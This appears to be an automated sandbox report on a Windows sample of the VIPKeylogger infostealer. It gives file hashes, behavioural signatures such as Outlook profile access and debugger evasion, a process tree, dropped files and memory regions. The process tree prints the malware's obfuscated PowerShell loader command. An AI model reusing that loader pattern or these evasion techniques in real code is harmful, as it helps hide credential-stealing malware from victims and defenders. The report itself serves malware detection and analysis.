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Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2024, 03:02

General

  • Target

    bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe

  • Size

    900KB

  • MD5

    1e4a711ecbfcd10f63990b50edbf0692

  • SHA1

    62f19187d9eba5260aa9d1b5753308de1a2ef392

  • SHA256

    bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c

  • SHA512

    3bff0107b8d0c5eaf0bfbe1336675cd38027f89daf7a58a11582f09861cd058d4f972f081b3bc971c12300526213307d7fef692e4b9f4bd85ba9bf3fac92aa55

  • SSDEEP

    12288:cXcxx2HCKsVidjk5m7eptd2naPiLutNS3haM78EQMZxmfemFXHW65zuYGTm4zeH:cX22iHKkSuE3l8Et2F2YuriH

Malware Config

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe
    "C:\Users\Admin\AppData\Local\Temp\bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized "$Carraways=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Boligtilsyns.Ove';$Sprogten=$Carraways.SubString(50535,3);.$Sprogten($Carraways)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4364

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ri0xcpr2.ng5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Boligtilsyns.Ove

    Filesize

    76KB

    MD5

    d0cc8701e797190b5bd9080582a4719a

    SHA1

    9a6cbebc33e66574c0260c4dfaecf4860ba74b14

    SHA256

    a70deb41b76a2e4c8e503c7e35098605ad3d8a6a0607ce3461cda884b7446482

    SHA512

    b0b9e00dd1579966b5b40cf8bdd2f12cb41031a97617dbd3eaa625e8b0f78533091025f3cce1e14bb708d8ea20812c2e5067ba852f674e7ae42a11488050c2e6

  • C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Corves.Rel115

    Filesize

    307KB

    MD5

    ad726728a3878f89c5d7d0e28b919144

    SHA1

    683f9278eb8c91224926b3e16af9a324885afbfa

    SHA256

    6b51fce1ab49bc7f471df817f10b3f2d71aa1545c8529a7338766fa4a1c1c095

    SHA512

    46773b723186eb2dde1c6f02262e932cc3051a4aa96c31993f26e7a51e893d3205f808fb6e8de8085895263c0327bbffec8c69a28e66718f366d318b53002712

  • memory/1580-9-0x000000007330E000-0x000000007330F000-memory.dmp

    Filesize

    4KB

  • memory/1580-10-0x0000000002960000-0x0000000002996000-memory.dmp

    Filesize

    216KB

  • memory/1580-11-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-12-0x0000000005030000-0x0000000005658000-memory.dmp

    Filesize

    6.2MB

  • memory/1580-13-0x0000000004F60000-0x0000000004F82000-memory.dmp

    Filesize

    136KB

  • memory/1580-14-0x0000000005850000-0x00000000058B6000-memory.dmp

    Filesize

    408KB

  • memory/1580-15-0x00000000058C0000-0x0000000005926000-memory.dmp

    Filesize

    408KB

  • memory/1580-25-0x0000000005930000-0x0000000005C84000-memory.dmp

    Filesize

    3.3MB

  • memory/1580-26-0x0000000005F30000-0x0000000005F4E000-memory.dmp

    Filesize

    120KB

  • memory/1580-27-0x0000000005FE0000-0x000000000602C000-memory.dmp

    Filesize

    304KB

  • memory/1580-28-0x0000000006FE0000-0x0000000007076000-memory.dmp

    Filesize

    600KB

  • memory/1580-29-0x0000000006420000-0x000000000643A000-memory.dmp

    Filesize

    104KB

  • memory/1580-30-0x00000000064A0000-0x00000000064C2000-memory.dmp

    Filesize

    136KB

  • memory/1580-31-0x0000000007630000-0x0000000007BD4000-memory.dmp

    Filesize

    5.6MB

  • memory/1580-33-0x0000000008260000-0x00000000088DA000-memory.dmp

    Filesize

    6.5MB

  • memory/1580-34-0x0000000007140000-0x0000000007172000-memory.dmp

    Filesize

    200KB

  • memory/1580-46-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-45-0x0000000007380000-0x000000000739E000-memory.dmp

    Filesize

    120KB

  • memory/1580-47-0x00000000073B0000-0x0000000007453000-memory.dmp

    Filesize

    652KB

  • memory/1580-35-0x000000006F840000-0x000000006F88C000-memory.dmp

    Filesize

    304KB

  • memory/1580-48-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-49-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-50-0x00000000074B0000-0x00000000074BA000-memory.dmp

    Filesize

    40KB

  • memory/1580-51-0x0000000007BE0000-0x0000000007BF1000-memory.dmp

    Filesize

    68KB

  • memory/1580-52-0x0000000007C30000-0x0000000007C3E000-memory.dmp

    Filesize

    56KB

  • memory/1580-53-0x0000000007C40000-0x0000000007C54000-memory.dmp

    Filesize

    80KB

  • memory/1580-54-0x0000000007C80000-0x0000000007C9A000-memory.dmp

    Filesize

    104KB

  • memory/1580-55-0x0000000007C70000-0x0000000007C78000-memory.dmp

    Filesize

    32KB

  • memory/1580-56-0x0000000007CD0000-0x0000000007CFA000-memory.dmp

    Filesize

    168KB

  • memory/1580-57-0x0000000007D00000-0x0000000007D24000-memory.dmp

    Filesize

    144KB

  • memory/1580-58-0x000000007330E000-0x000000007330F000-memory.dmp

    Filesize

    4KB

  • memory/1580-59-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-60-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-61-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-62-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-64-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-65-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-66-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-67-0x00000000088E0000-0x000000000C771000-memory.dmp

    Filesize

    62.6MB

  • memory/1580-68-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-69-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-71-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1580-72-0x0000000073300000-0x0000000073AB0000-memory.dmp

    Filesize

    7.7MB

  • memory/4364-82-0x0000000000A60000-0x0000000001CB4000-memory.dmp

    Filesize

    18.3MB

  • memory/4364-87-0x0000000000A60000-0x0000000000AA8000-memory.dmp

    Filesize

    288KB

  • memory/4364-86-0x0000000000A60000-0x0000000001CB4000-memory.dmp

    Filesize

    18.3MB

  • memory/4364-88-0x0000000023B50000-0x0000000023BEC000-memory.dmp

    Filesize

    624KB

  • memory/4364-90-0x0000000024780000-0x0000000024942000-memory.dmp

    Filesize

    1.8MB

  • memory/4364-91-0x0000000024030000-0x0000000024080000-memory.dmp

    Filesize

    320KB

  • memory/4364-93-0x0000000024950000-0x00000000249E2000-memory.dmp

    Filesize

    584KB

  • memory/4364-94-0x00000000240F0000-0x00000000240FA000-memory.dmp

    Filesize

    40KB